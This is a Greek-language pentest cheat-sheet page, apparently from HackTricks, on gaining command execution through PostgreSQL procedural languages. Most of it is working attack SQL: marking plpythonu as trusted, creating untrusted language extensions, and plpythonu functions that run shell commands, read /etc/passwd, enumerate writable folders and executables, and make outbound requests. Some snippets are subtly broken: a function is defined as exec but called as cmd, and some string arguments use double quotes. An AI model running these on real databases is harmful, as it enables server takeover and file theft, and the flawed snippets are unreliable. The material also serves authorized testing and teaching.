303 lines
7.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# RCE με Γλώσσες PostgreSQL
{{#include ../../../banners/hacktricks-training.md}}
## Γλώσσες PostgreSQL
Η βάση δεδομένων PostgreSQL στην οποία έχετε πρόσβαση μπορεί να έχει διαφορετικές **γλώσσες scripting εγκατεστημένες** που θα μπορούσατε να εκμεταλλευτείτε για να **εκτελέσετε αυθαίρετο κώδικα**.
Μπορείτε να **τις εκκινήσετε**:
```sql
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
```
Οι περισσότερες από τις γλώσσες scripting που μπορείτε να εγκαταστήσετε στο PostgreSQL έχουν **2 γεύσεις**: την **έμπιστη** και την **μη έμπιστη**. Η **μη έμπιστη** θα έχει ένα όνομα **που τελειώνει σε "u"** και θα είναι η έκδοση που θα σας επιτρέπει να **εκτελείτε κώδικα** και να χρησιμοποιείτε άλλες ενδιαφέρουσες λειτουργίες. Αυτές είναι γλώσσες που αν εγκατασταθούν είναι ενδιαφέρουσες:
- **plpythonu**
- **plpython3u**
- **plperlu**
- **pljavaU**
- **plrubyu**
- ... (οποιαδήποτε άλλη γλώσσα προγραμματισμού που χρησιμοποιεί μια ανασφαλή έκδοση)
> [!WARNING]
> Εάν διαπιστώσετε ότι μια ενδιαφέρουσα γλώσσα είναι **εγκατεστημένη** αλλά **μη έμπιστη** από το PostgreSQL (**`lanpltrusted`** είναι **`false`**) μπορείτε να προσπαθήσετε να την **εμπιστευθείτε** με την παρακάτω γραμμή ώστε να μην επιβληθούν περιορισμοί από το PostgreSQL:
>
> ```sql
> UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
> # Για να ελέγξετε τα δικαιώματά σας πάνω στον πίνακα pg_language
> SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
> ```
> [!CAUTION]
> Εάν δεν βλέπετε μια γλώσσα, μπορείτε να προσπαθήσετε να την φορτώσετε με (**πρέπει να είστε superadmin**):
>
> ```
> CREATE EXTENSION plpythonu;
> CREATE EXTENSION plpython3u;
> CREATE EXTENSION plperlu;
> CREATE EXTENSION pljavaU;
> CREATE EXTENSION plrubyu;
> ```
Σημειώστε ότι είναι δυνατόν να μεταγλωττίσετε τις ασφαλείς εκδόσεις ως "ανασφαλείς". Ελέγξτε [**αυτό**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) για παράδειγμα. Έτσι, αξίζει πάντα να προσπαθήσετε αν μπορείτε να εκτελέσετε κώδικα ακόμη και αν βρείτε εγκατεστημένη μόνο την **έμπιστη**.
## plpythonu/plpython3u
{{#tabs}}
{{#tab name="RCE"}}
```sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
```
{{#endtab}}
{{#tab name="Get OS user"}}
```sql
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.getlogin()
$$
LANGUAGE 'plpythonu';
SELECT get_user(""); #Get user, para is useless
```
{{#endtab}}
{{#tab name="List dir"}}
```sql
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';
SELECT lsdir("/"); #List dir
```
{{#endtab}}
{{#tab name="Βρείτε το φάκελο W"}}
```sql
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables
return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';
SELECT findw("/"); #Find Writable folders from a folder (recursively)
```
{{#endtab}}
{{#tab name="Βρείτε το Αρχείο"}}
```sql
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_file("psql"); #Find a file
```
{{#endtab}}
{{#tab name="Βρείτε εκτελέσιμα"}}
```sql
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find(dir)
b = []
for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT findx("/"); #Find an executables in folder (recursively)
```
{{#endtab}}
{{#tab name="Βρείτε exec με υποκαταστάσεις"}}
```sql
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_exe("psql"); #Find executable by susbstring
```
{{#endtab}}
{{#tab name="Read"}}
```sql
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
$$
LANGUAGE 'plpythonu';
select read('/etc/passwd'); #Read a file in b64
```
{{#endtab}}
{{#tab name="Get perms"}}
```sql
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
$$
LANGUAGE 'plpythonu';
select get_perms("/etc/passwd"); # Get perms of file
```
{{#endtab}}
{{#tab name="Request"}}
```sql
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req2('https://google.com'); #Request using python2
CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req3('https://google.com'); #Request using python3
```
{{#endtab}}
{{#endtabs}}
## pgSQL
Ελέγξτε την παρακάτω σελίδα:
{{#ref}}
pl-pgsql-password-bruteforce.md
{{#endref}}
## C
Ελέγξτε την παρακάτω σελίδα:
{{#ref}}
rce-with-postgresql-extensions.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}